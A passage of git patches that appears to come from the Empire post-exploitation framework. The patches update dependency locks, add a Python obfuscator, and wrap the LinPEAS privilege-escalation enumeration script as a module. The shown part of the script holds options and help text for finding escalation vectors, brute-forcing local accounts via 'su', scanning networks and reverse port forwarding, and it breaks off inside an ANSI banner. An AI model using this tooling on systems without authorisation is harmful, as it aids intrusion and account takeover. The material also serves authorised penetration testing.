h11 = ">=0.8" [package.extras] -standard = ["PyYAML (>=5.1)", "colorama (>=0.4)", "httptools (>=0.2.0,<0.3.0)", "python-dotenv (>=0.13)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchgod (>=0.6)", "websockets (>=9.1)"] +standard = ["PyYAML (>=5.1)", "colorama (>=0.4)", "httptools (==0.2.*)", "python-dotenv (>=0.13)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchgod (>=0.6)", "websockets (>=9.1)"] [[package]] name = "wcwidth" version = "0.2.6" description = "Measures the displayed width of unicode strings in a terminal" -category = "main" optional = false python-versions = "*" files = [ @@ -2121,7 +2138,6 @@ files = [ name = "websocket-client" version = "1.5.1" description = "WebSocket client for Python with low level API options" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -2138,7 +2154,6 @@ test = ["websockets"] name = "websockets" version = "10.4" description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -2217,7 +2232,6 @@ files = [ name = "websockify" version = "0.10.0" description = "Websockify." -category = "main" optional = false python-versions = "*" files = [ @@ -2231,7 +2245,6 @@ numpy = "*" name = "werkzeug" version = "2.3.2" description = "The comprehensive WSGI web application library." -category = "main" optional = false python-versions = ">=3.8" files = [ @@ -2249,7 +2262,6 @@ watchdog = ["watchdog (>=2.3)"] name = "xlrd" version = "2.0.1" description = "Library for developers to extract data from Microsoft Excel (tm) .xls spreadsheet files" -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" files = [ @@ -2266,7 +2278,6 @@ test = ["pytest", "pytest-cov"] name = "xlutils" version = "2.0.0" description = "Utilities for working with Excel files that require both xlrd and xlwt" -category = "main" optional = false python-versions = "*" files = [ @@ -2286,7 +2297,6 @@ test = ["coveralls", "errorhandler", "manuel", "mock", "nose", "nose-cov", "nose name = "xlwt" version = "1.3.0" description = "Library to create spreadsheet files compatible with MS Excel 97/2000/XP/2003 XLS files, on any platform, with Python 2.6, 2.7, 3.3+" -category = "main" optional = false python-versions = "*" files = [ @@ -2298,7 +2308,6 @@ files = [ name = "zipp" version = "3.15.0" description = "Backport of pathlib-compatible object wrapper for zip files" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -2314,7 +2323,6 @@ testing = ["big-O", "flake8 (<5)", "jaraco.functools", "jaraco.itertools", "more name = "zlib-wrapper" version = "0.1.3" description = "Wrapper around zlib with custom header crc32." -category = "main" optional = false python-versions = "*" files = [ @@ -2325,7 +2333,6 @@ files = [ name = "zope-interface" version = "6.0" description = "Interfaces for Python" -category = "main" optional = false python-versions = ">=3.7" files = [ @@ -2372,4 +2379,4 @@ testing = ["coverage (>=5.0.3)", "zope.event", "zope.testing"] [metadata] lock-version = "2.0" python-versions = "^3.8" -content-hash = "d8cf092581cc31b2d7637e8a4a9c5a17d950b826a4221b538b79045cf75ea43d" +content-hash = "f372b87e7b0ea41f5f5d5115009d4b26c7f25d651d2093ff1b65ed85480bbb8c" diff --git a/pyproject.toml b/pyproject.toml index 6e347d246..b49c876d6 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -52,6 +52,7 @@ python-socketio = {extras = ["client"], version = "^5.7.1"} Flask = "^2.1.2" pysecretsocks = {git = "https://github.com/BC-SECURITY/PySecretSOCKS.git"} donut-shellcode = "^1.0.2" +python-obfuscator = "^0.0.2" [tool.poetry.dev-dependencies] isort = "^5.10.1" From 022e5d4b3fc06ad44477e6b10dc3cc4767131d2a Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Wed, 7 Jun 2023 20:12:08 -0400 Subject: [PATCH 04/36] LinPEAS (#627) Co-authored-by: Vincent Rose --- CHANGELOG.md | 1 + .../python/situational_awareness/LinPEAS.py | 4635 +++++++++++++++++ .../host/multi/linpeas.yaml | 24 + 3 files changed, 4660 insertions(+) create mode 100644 empire/server/data/module_source/python/situational_awareness/LinPEAS.py create mode 100644 empire/server/modules/python/situational_awareness/host/multi/linpeas.yaml diff --git a/CHANGELOG.md b/CHANGELOG.md index 876f20a95..e10f2056f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Added LinPEAS to Python modules (@Cx01N) - Added python obfusscation using python-obfuscator (@Cx01N) - Added IronPython SMB Agents/Listener (@Cx01N) - Expand file options to plugins, stagers, and listeners (@Vinnybod) diff --git a/empire/server/data/module_source/python/situational_awareness/LinPEAS.py b/empire/server/data/module_source/python/situational_awareness/LinPEAS.py new file mode 100644 index 000000000..5714d931f --- /dev/null +++ b/empire/server/data/module_source/python/situational_awareness/LinPEAS.py @@ -0,0 +1,4635 @@ +import os +import subprocess +import tempfile +import textwrap + +# Define the shell script +script = textwrap.dedent(r""" +#!/bin/sh + +VERSION="ng" +ADVISORY="This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission." + +########################################### +#-------) Checks pre-everything (---------# +########################################### +if ([ -f /usr/bin/id ] && [ "$(/usr/bin/id -u)" -eq "0" ]) || [ "`whoami 2>/dev/null`" = "root" ]; then + IAMROOT="1" + MAXPATH_FIND_W="3" +else + IAMROOT="" + MAXPATH_FIND_W="7" +fi + + +########################################### +#---------------) Colors (----------------# +########################################### + +C=$(printf '\033') +RED="${C}[1;31m" +SED_RED="${C}[1;31m&${C}[0m" +GREEN="${C}[1;32m" +SED_GREEN="${C}[1;32m&${C}[0m" +YELLOW="${C}[1;33m" +SED_YELLOW="${C}[1;33m&${C}[0m" +RED_YELLOW="${C}[1;31;103m" +SED_RED_YELLOW="${C}[1;31;103m&${C}[0m" +BLUE="${C}[1;34m" +SED_BLUE="${C}[1;34m&${C}[0m" +ITALIC_BLUE="${C}[1;34m${C}[3m" +LIGHT_MAGENTA="${C}[1;95m" +SED_LIGHT_MAGENTA="${C}[1;95m&${C}[0m" +LIGHT_CYAN="${C}[1;96m" +SED_LIGHT_CYAN="${C}[1;96m&${C}[0m" +LG="${C}[1;37m" #LightGray +SED_LG="${C}[1;37m&${C}[0m" +DG="${C}[1;90m" #DarkGray +SED_DG="${C}[1;90m&${C}[0m" +NC="${C}[0m" +UNDERLINED="${C}[5m" +ITALIC="${C}[3m" + + +########################################### +#---------) Parsing parameters (----------# +########################################### +# --) FAST - Do not check 1min of procceses and su brute +# --) SUPERFAST - FAST & do not search for special filaes in all the folders + +if uname 2>/dev/null | grep -q 'Darwin' || /usr/bin/uname 2>/dev/null | grep -q 'Darwin'; then MACPEAS="1"; else MACPEAS=""; fi +FAST="1" #By default stealth/fast mode +SUPERFAST="" +DISCOVERY="" +PORTS="" +QUIET="" +CHECKS="system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex" +SEARCH_IN_FOLDER="" +ROOT_FOLDER="/" +WAIT="" +PASSWORD="" +NOCOLOR="" +DEBUG="" +AUTO_NETWORK_SCAN="" +EXTRA_CHECKS="" +REGEXES="" +PORT_FORWARD="" +THREADS="$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d "\n")" +[ -z "$THREADS" ] && THREADS="2" #If THREADS is empty, put number 2 +[ -n "$THREADS" ] && THREADS="2" #If THREADS is null, put number 2 +[ "$THREADS" -eq "$THREADS" ] 2>/dev/null && : || THREADS="2" #It THREADS is not a number, put number 2 +HELP=$GREEN"Enumerate and search Privilege Escalation vectors. +${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors. + ${GREEN} Checks: + ${YELLOW} -o${BLUE} Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex). Select a comma separated list. + ${YELLOW} -s${BLUE} Stealth & faster (don't check some time consuming checks) + ${YELLOW} -e${BLUE} Perform extra enumeration + ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files + ${YELLOW} -r${BLUE} Enable Regexes (this can take from some mins to hours) + ${YELLOW} -P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su' + ${YELLOW} -D${BLUE} Debug mode + + ${GREEN} Network recon: + ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files + ${YELLOW} -d ${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24 + ${YELLOW} -p -d ${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139 + ${YELLOW} -i [-p ]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 + $GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed + + ${GREEN} Port forwarding (reverse connection): + ${YELLOW} -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT${BLUE} Execute linpeas to forward a port from a your host (LOCAL_IP:LOCAL_PORT) to a remote IP (REMOTE_IP:REMOTE_PORT) + + ${GREEN} Firmware recon: + ${YELLOW} -f ${BLUE} Execute linpeas to search passwords/file permissions misconfigs inside a folder + + ${GREEN} Misc: + ${YELLOW} -h${BLUE} To show this message + ${YELLOW} -w${BLUE} Wait execution between big blocks of checks + ${YELLOW} -L${BLUE} Force linpeas execution + ${YELLOW} -M${BLUE} Force macpeas execution + ${YELLOW} -q${BLUE} Do not show banner + ${YELLOW} -N${BLUE} Do not use colours$NC" + +while getopts "h?asd:p:i:P:qo:LMwNDterf:F:" opt; do + case "$opt" in + h|\?) printf "%s\n\n" "$HELP$NC"; exit 0;; + a) FAST="";EXTRA_CHECKS="1";; + s) SUPERFAST=1;; + d) DISCOVERY=$OPTARG;; + p) PORTS=$OPTARG;; + i) IP=$OPTARG;; + P) PASSWORD=$OPTARG;; + q) QUIET=1;; + o) CHECKS=$OPTARG;; + L) MACPEAS="";; + M) MACPEAS="1";; + w) WAIT=1;; + N) NOCOLOR="1";; + D) DEBUG="1";; + t) AUTO_NETWORK_SCAN="1"; CHECKS="network_information";; + e) EXTRA_CHECKS="1";; + r) REGEXES="1";; + f) SEARCH_IN_FOLDER=$OPTARG; + if ! [ "$(echo -n $SEARCH_IN_FOLDER | tail -c 1)" = "/" ]; then #Make sure firmware folder ends with "/" + SEARCH_IN_FOLDER="${SEARCH_IN_FOLDER}/"; + fi; + ROOT_FOLDER=$SEARCH_IN_FOLDER; + REGEXES="1"; + CHECKS="procs_crons_timers_srvcs_sockets,software_information,interesting_perms_files,interesting_files,api_keys_regex";; + + F) PORT_FORWARD=$OPTARG;; + esac +done + +if [ "$MACPEAS" ]; then SCRIPTNAME="macpeas"; else SCRIPTNAME="linpeas"; fi +if [ "$NOCOLOR" ]; then + C="" + RED="" + SED_RED="&" + GREEN="" + SED_GREEN="&" + YELLOW="" + SED_YELLOW="&" + SED_RED_YELLOW="&" + BLUE="" + SED_BLUE="&" + ITALIC_BLUE="" + LIGHT_MAGENTA="" + SED_LIGHT_MAGENTA="&" + LIGHT_CYAN="" + SED_LIGHT_CYAN="&" + LG="" + SED_LG="&" + DG="" + SED_DG="&" + NC="" + UNDERLINED="" + ITALIC="" +fi + + +########################################### +#---------------) BANNER (----------------# +########################################### + +print_banner(){ + if [ "$MACPEAS" ]; then + bash -c "printf ' \e[38;5;238m▄\e[38;5;233m▄\e[38;5;235m▄\e[38;5;65m▄\e[48;5;239m\e[38;5;107m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;240m\e[38;5;65m▄\e[0m\e[38;5;237m▄\e[38;5;234m▄\e[38;5;233m▄\e[38;5;232m▄\e[38;5;239m▄\e[0m + \e[38;5;233m▄\e[38;5;246m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;65m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[0m\e[38;5;237m▄\e[38;5;234m▄\e[0m + \e[38;5;245m▄\e[38;5;233m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;239m\e[38;5;71m▄\e[48;5;71m \e[38;5;235m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;236m\e[38;5;64m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;2m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;2m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;232m\e[38;5;70m▄\e[48;5;234m\e[38;5;22m▄\e[48;5;65m\e[38;5;232m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[48;5;236m\e[38;5;71m▄\e[0m\e[38;5;234m▄\e[38;5;238m▄\e[0m + \e[38;5;239m▄\e[38;5;233m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;238m\e[38;5;71m▄\e[48;5;71m \e[38;5;0m▄\e[48;5;236m\e[38;5;2m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;22m\e[38;5;76m▄\e[48;5;0m\e[38;5;76m▄\e[48;5;234m\e[38;5;64m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m \e[48;5;234m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[0m\e[38;5;234m▄\e[38;5;233m▄\e[0m + \e[38;5;233m▄\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;71m \e[38;5;235m▄\e[48;5;65m\e[38;5;235m▄\e[48;5;0m\e[38;5;255m▄\e[48;5;22m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;242m\e[38;5;15m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;254m\e[38;5;15m▄\e[48;5;15m \e[38;5;255m▄\e[48;5;255m\e[38;5;234m▄\e[48;5;248m\e[38;5;251m▄\e[48;5;240m\e[38;5;15m▄\e[48;5;237m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;64m\e[38;5;15m▄\e[48;5;70m\e[38;5;251m▄\e[48;5;76m\e[38;5;8m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;64m\e[38;5;70m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;238m\e[38;5;2m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[0m + \e[38;5;233m▄\e[48;5;238m\e[38;5;71m▄\e[48;5;236m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;238m\e[38;5;234m▄\e[48;5;235m\e[38;5;255m▄\e[48;5;15m \e[38;5;233m▄\e[48;5;253m\e[38;5;0m▄\e[48;5;255m\e[38;5;232m▄\e[48;5;242m\e[38;5;238m▄\e[48;5;242m\e[38;5;233m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;255m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;145m\e[38;5;15m▄\e[48;5;237m\e[38;5;15m▄\e[48;5;22m\e[38;5;255m▄\e[48;5;70m\e[38;5;248m▄\e[48;5;234m\e[38;5;235m▄\e[48;5;234m\e[38;5;233m▄\e[48;5;71m\e[38;5;0m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m \e[0m + \e[48;5;71m \e[38;5;234m▄\e[48;5;233m\e[38;5;251m▄\e[48;5;255m\e[38;5;15m▄\e[48;5;15m \e[48;5;243m\e[38;5;235m▄\e[48;5;0m \e[38;5;243m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;232m\e[38;5;15m▄\e[48;5;235m\e[38;5;145m▄\e[48;5;71m\e[38;5;0m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;237m▄\e[0m + \e[48;5;71m \e[48;5;65m\e[38;5;232m▄\e[48;5;241m\e[38;5;15m▄\e[48;5;15m \e[48;5;236m\e[38;5;245m▄\e[48;5;0m \e[48;5;247m\e[38;5;232m▄\e[48;5;15m \e[48;5;247m\e[38;5;15m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m \e[48;5;237m\e[38;5;236m▄\e[0m + \e[48;5;71m \e[38;5;238m▄\e[48;5;234m\e[38;5;243m▄\e[48;5;253m\e[38;5;15m▄\e[48;5;15m \e[48;5;0m\e[38;5;7m▄\e[48;5;0m\e[38;5;239m▄\e[48;5;0m\e[38;5;102m▄\e[48;5;0m\e[38;5;234m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;252m▄\e[48;5;255m\e[38;5;15m▄\e[48;5;15m \e[48;5;239m\e[38;5;7m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m \e[0m + \e[48;5;71m \e[38;5;236m▄\e[48;5;234m\e[38;5;250m▄\e[48;5;15m \e[38;5;255m▄\e[48;5;15m\e[38;5;250m▄\e[48;5;15m\e[38;5;102m▄\e[48;5;15m\e[38;5;238m▄\e[48;5;15m\e[38;5;235m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;2m▄\e[48;5;255m\e[38;5;2m▄\e[48;5;255m\e[38;5;64m▄\e[48;5;254m\e[38;5;70m▄\e[48;5;188m\e[38;5;70m▄\e[48;5;253m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;15m\e[38;5;28m▄\e[48;5;15m\e[38;5;64m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;240m▄\e[48;5;15m\e[38;5;102m▄\e[48;5;15m\e[38;5;251m▄\e[48;5;15m\e[38;5;255m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;234m\e[38;5;235m▄\e[48;5;236m \e[0m + \e[48;5;71m \e[38;5;233m▄\e[48;5;232m\e[38;5;70m▄\e[48;5;238m\e[38;5;76m▄\e[48;5;65m\e[38;5;76m▄\e[48;5;236m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;28m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;235m\e[38;5;76m▄\e[48;5;240m\e[38;5;76m▄\e[48;5;145m\e[38;5;76m▄\e[48;5;15m\e[38;5;28m▄\e[48;5;15m\e[38;5;235m▄\e[48;5;15m\e[38;5;240m▄\e[48;5;15m\e[38;5;145m▄\e[48;5;15m\e[38;5;254m▄\e[48;5;15m \e[48;5;242m\e[38;5;251m▄\e[48;5;236m\e[38;5;235m▄\e[0m + \e[48;5;65m\e[38;5;232m▄\e[48;5;235m\e[38;5;64m▄\e[48;5;70m \e[48;5;76m \e[48;5;2m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;242m\e[38;5;76m▄\e[48;5;254m\e[38;5;64m▄\e[48;5;15m\e[38;5;234m▄\e[48;5;15m\e[38;5;243m▄\e[48;5;15m\e[38;5;253m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;233m \e[0m + \e[48;5;232m \e[48;5;237m \e[48;5;70m \e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;234m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;28m\e[38;5;76m▄\e[48;5;235m\e[38;5;76m▄\e[48;5;102m\e[38;5;236m▄\e[48;5;250m\e[38;5;235m▄\e[48;5;233m\e[38;5;232m▄\e[0m + \e[48;5;232m \e[48;5;237m \e[48;5;70m \e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;233m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;76m \e[48;5;22m\e[38;5;76m▄\e[48;5;233m\e[38;5;76m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;28m\e[38;5;76m▄\e[48;5;76m \e[48;5;70m \e[48;5;236m \e[48;5;238m \e[48;5;236m\e[0m + \e[48;5;232m\e[38;5;236m▄\e[48;5;236m\e[38;5;233m▄\e[48;5;64m \e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;76m \e[38;5;64m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;233m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[48;5;64m \e[48;5;236m \e[38;5;235m▄\e[0m + \e[48;5;71m \e[48;5;232m\e[38;5;65m▄\e[48;5;64m\e[38;5;233m▄\e[48;5;76m \e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;76m\e[38;5;77m▄\e[48;5;76m \e[48;5;0m\e[38;5;70m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;70m▄\e[48;5;76m \e[38;5;77m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;77m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;236m \e[48;5;237m\e[38;5;238m▄\e[48;5;234m\e[38;5;235m▄\e[0m + \e[48;5;71m \e[48;5;235m\e[38;5;71m▄\e[48;5;64m\e[38;5;232m▄\e[48;5;76m \e[48;5;77m\e[38;5;76m▄\e[48;5;107m\e[38;5;77m▄\e[48;5;107m \e[38;5;77m▄\e[48;5;77m \e[48;5;76m \e[48;5;107m\e[38;5;77m▄\e[48;5;107m \e[48;5;71m\e[38;5;77m▄\e[48;5;76m \e[48;5;64m \e[48;5;236m\e[38;5;237m▄\e[48;5;237m\e[38;5;234m▄\e[0m + \e[48;5;71m \e[48;5;232m\e[38;5;239m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m \e[48;5;70m\e[38;5;64m▄\e[48;5;237m\e[38;5;236m▄\e[48;5;238m\e[38;5;234m▄\e[48;5;235m\e[38;5;236m▄\e[0m + \e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[48;5;232m\e[38;5;235m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m \e[48;5;70m\e[38;5;236m▄\e[48;5;236m \e[48;5;237m\e[38;5;234m▄\e[48;5;235m\e[38;5;236m▄\e[0m + \e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;236m\e[38;5;71m▄\e[48;5;232m\e[38;5;65m▄\e[48;5;70m\e[38;5;0m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m \e[38;5;22m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;70m\e[38;5;236m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m\e[38;5;233m▄\e[0m + \e[38;5;233m▀\e[48;5;71m\e[38;5;232m▄\e[48;5;71m \e[48;5;236m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;2m\e[38;5;235m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m \e[38;5;77m▄\e[48;5;76m\e[38;5;236m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;22m\e[38;5;238m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[0m + \e[48;5;65m\e[38;5;238m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m \e[48;5;235m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;233m\e[38;5;238m▄\e[48;5;65m\e[38;5;234m▄\e[48;5;70m\e[38;5;232m▄\e[48;5;77m\e[38;5;0m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;235m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;65m▄\e[48;5;76m\e[38;5;65m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;234m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;237m\e[38;5;236m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;237m▄\e[0m + \e[38;5;232m▀\e[48;5;65m\e[38;5;236m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m \e[48;5;65m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[38;5;237m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;65m\e[38;5;8m▄\e[0m\e[38;5;234m▀\e[38;5;234m▀\e[38;5;239m▀\e[0m + \e[38;5;234m▀\e[38;5;236m▀\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;65m\e[38;5;243m▄\e[0m\e[38;5;233m▀\e[38;5;235m▀\e[0m + \e[38;5;242m▀\e[38;5;233m▀\e[38;5;232m▀\e[38;5;234m▀\e[38;5;236m▀\e[48;5;65m\e[38;5;236m▄\e[48;5;65m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;65m\e[38;5;237m▄\e[48;5;237m\e[38;5;8m▄\e[0m\e[38;5;234m▀\e[38;5;232m▀\e[38;5;232m▀\e[38;5;59m▀\e[0m +'"; + else + if [ -f "/bin/bash" ]; then + /bin/bash -c "printf ' + 